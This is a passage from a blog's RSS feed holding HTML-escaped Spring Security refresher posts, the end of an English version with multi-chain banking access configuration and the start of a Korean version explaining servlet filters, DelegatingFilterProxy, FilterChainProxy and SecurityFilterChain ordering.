        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bankingPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/accounts/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/loans/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/credit-cards/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/balances/**&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;viewBalancePaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/balances/**&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bankingPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;viewBalancePaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;VIEW_BALANCE&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Default chain (lowest priority)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;defaultSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allowedPaths&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/user-logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/notices&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/contact&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/register&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;allowedPaths&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;permitAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formLogin&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginPage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loginProcessingUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logout&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/user-logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutSuccessUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/?logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;How this works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Approval paths&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order(1)&lt;/code&gt;): &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/accounts/approvals/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loans/approvals/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/credit-cards/approvals/**&lt;/code&gt; require ADMIN role and use HTTP Basic auth&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Banking paths&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order(2)&lt;/code&gt;): For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/accounts/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loans/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/credit-cards/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/balances/**&lt;/code&gt;:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/balances/**&lt;/code&gt; requires &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VIEW_BALANCE&lt;/code&gt; role&lt;/li&gt;
      &lt;li&gt;Everything else requires &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USER&lt;/code&gt; role&lt;/li&gt;
      &lt;li&gt;Requests with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/approvals/&lt;/code&gt; already matched the first chain, so they won’t hit this one&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Default paths&lt;/strong&gt; (lowest priority):
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/user-login&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/user-logout&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/notices&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/contact&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/register&lt;/code&gt; are publicly accessible&lt;/li&gt;
      &lt;li&gt;Everything else requires authentication&lt;/li&gt;
      &lt;li&gt;Uses form login&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;

&lt;p&gt;Spring Security essentials in a nutshell:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Filter-based architecture&lt;/strong&gt;: Built on servlet filters&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;DelegatingFilterProxy&lt;/strong&gt;: Bridges servlet container and Spring&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;FilterChainProxy&lt;/strong&gt;: Routes requests to the right SecurityFilterChain&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SecurityFilterChain&lt;/strong&gt;: Collection of actual security filters&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Priority&lt;/strong&gt;: Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order&lt;/code&gt; to control chain execution order&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Matcher distinction&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt; (chain scope) vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requestMatchers&lt;/code&gt; (individual rules)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bookmark this page for the next time you need to dust off your Spring Security knowledge. You’ll thank yourself later! 🚀&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 12 Jan 2026 11:16:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/security/2026/01/12/refresher-guide-spring-security.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/security/2026/01/12/refresher-guide-spring-security.html</guid>
        
        <category>Spring</category>
        
        <category>Security</category>
        
        
        <category>Spring</category>
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>스프링 시큐리티, 이 글 하나로 기억 되살리기 🔐</title>
        <description>&lt;p&gt;오랜만에 스프링 시큐리티 설정을 만지려고 하면 “어, 이게 뭐였지?” 싶은 순간이 오죠. 필터 체인이니 뭐니 하는 용어들이 머릿속에서 뒤죽박죽 섞여버립니다. 이 글은 그런 분들을 위해 스프링 시큐리티 7의 핵심 아키텍처를 쉽게 정리했습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;시작하기-전에-서블릿-필터부터-이해하자&quot;&gt;시작하기 전에: 서블릿 필터부터 이해하자&lt;/h1&gt;

&lt;p&gt;스프링 시큐리티를 이해하려면 먼저 서블릿 필터가 뭔지 알아야 합니다.&lt;/p&gt;

&lt;p&gt;클라이언트가 HTTP 요청을 보내면, 서블릿 컨테이너는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChain&lt;/code&gt;을 만듭니다. 이 체인에는 여러 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Filter&lt;/code&gt; 인스턴스들과 최종 목적지인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Servlet&lt;/code&gt;(스프링 MVC에서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DispatcherServlet&lt;/code&gt;)이 포함되어 있죠.&lt;/p&gt;

&lt;p&gt;필터는 두 가지 일을 할 수 있습니다:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;요청을 가로채서 뒤에 있는 필터나 서블릿이 실행되지 않게 막기 (주로 응답을 직접 작성)&lt;/li&gt;
  &lt;li&gt;요청이나 응답을 수정해서 다음 단계로 넘기기&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Override&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ServletRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletResponse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;nc&quot;&gt;FilterChain&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletException&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 애플리케이션 실행 전에 뭔가 하고&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 다음 단계로 넘기고&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 애플리케이션 실행 후에 뭔가 하기&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;여기서 중요한 점: &lt;strong&gt;필터의 순서가 매우 중요합니다.&lt;/strong&gt; 필터는 앞에서부터 순차적으로 실행되고, 각 필터는 자기 뒤에 있는 것들에만 영향을 주니까요.&lt;/p&gt;

&lt;h1 id=&quot;delegatingfilterproxy-스프링과-서블릿-컨테이너를-연결하는-다리&quot;&gt;DelegatingFilterProxy: 스프링과 서블릿 컨테이너를 연결하는 다리&lt;/h1&gt;

&lt;p&gt;여기서 문제가 하나 있습니다. 서블릿 컨테이너는 자체 표준으로 필터를 등록하는데, 스프링 빈에 대해서는 모릅니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DelegatingFilterProxy&lt;/code&gt;가 바로 이 문제를 해결합니다. 서블릿 컨테이너에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DelegatingFilterProxy&lt;/code&gt;를 등록하고, 실제 작업은 스프링 빈으로 등록된 필터에게 위임하는 거죠.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ServletRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletResponse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;nc&quot;&gt;FilterChain&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delegate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFilterBean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;someBeanName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 스프링 빈 가져오기&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;delegate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 실제 작업 위임&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이렇게 하면 필터 빈을 지연 로딩할 수 있다는 장점도 있습니다. 서블릿 컨테이너는 필터를 먼저 등록해야 하는데, 스프링 빈은 그보다 나중에 로드되거든요.&lt;/p&gt;

&lt;h1 id=&quot;filterchainproxy-스프링-시큐리티의-핵심&quot;&gt;FilterChainProxy: 스프링 시큐리티의 핵심&lt;/h1&gt;

&lt;p&gt;스프링 시큐리티의 서블릿 지원은 모두 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt; 안에 들어있습니다. 이 녀석은 스프링 시큐리티가 제공하는 특별한 필터로, 여러 필터 인스턴스에게 작업을 위임할 수 있습니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt;는 빈이기 때문에 보통 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DelegatingFilterProxy&lt;/code&gt;로 감싸져 있죠.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt;가 제공하는 장점들:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;스프링 시큐리티의 서블릿 지원 시작점 역할 (디버깅할 때 여기에 브레이크포인트 걸면 좋음)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityContext&lt;/code&gt;를 정리해서 메모리 누수 방지&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpFirewall&lt;/code&gt;을 적용해서 특정 공격으로부터 보호&lt;/li&gt;
  &lt;li&gt;URL뿐만 아니라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpServletRequest&lt;/code&gt;의 다른 요소들도 고려해서 필터 체인 결정&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;securityfilterchain-실제-필터들의-집합&quot;&gt;SecurityFilterChain: 실제 필터들의 집합&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt;은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt;가 현재 요청에 대해 어떤 스프링 시큐리티 필터들을 실행할지 결정하는 데 사용됩니다.&lt;/p&gt;

&lt;p&gt;하나의 애플리케이션에 여러 개의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt;이 있을 수 있습니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt;는 어떤 체인을 사용할지 결정하는데, &lt;strong&gt;처음으로 매칭되는 체인만 실행됩니다.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;예를 들어:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/messages/&lt;/code&gt; 요청이 오면 → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**&lt;/code&gt; 패턴의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain0&lt;/code&gt;에 먼저 매칭되어 실행&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/messages/&lt;/code&gt; 요청이 오면 → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain0&lt;/code&gt;에 안 맞으니 다음 체인들을 시도&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;각 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt;은 독립적으로 설정할 수 있고, 포함된 필터의 개수도 다를 수 있습니다. 심지어 필터가 0개인 체인도 만들 수 있어요 (특정 요청을 스프링 시큐리티가 무시하게 하려면).&lt;/p&gt;

&lt;h1 id=&quot;security-filters-실행-순서가-중요하다&quot;&gt;Security Filters: 실행 순서가 중요하다&lt;/h1&gt;

&lt;p&gt;보안 필터들은 특정 순서대로 실행됩니다. 예를 들어 인증을 수행하는 필터가 인가를 수행하는 필터보다 먼저 실행되어야겠죠?&lt;/p&gt;

&lt;p&gt;다음 설정을 보세요:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;csrf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
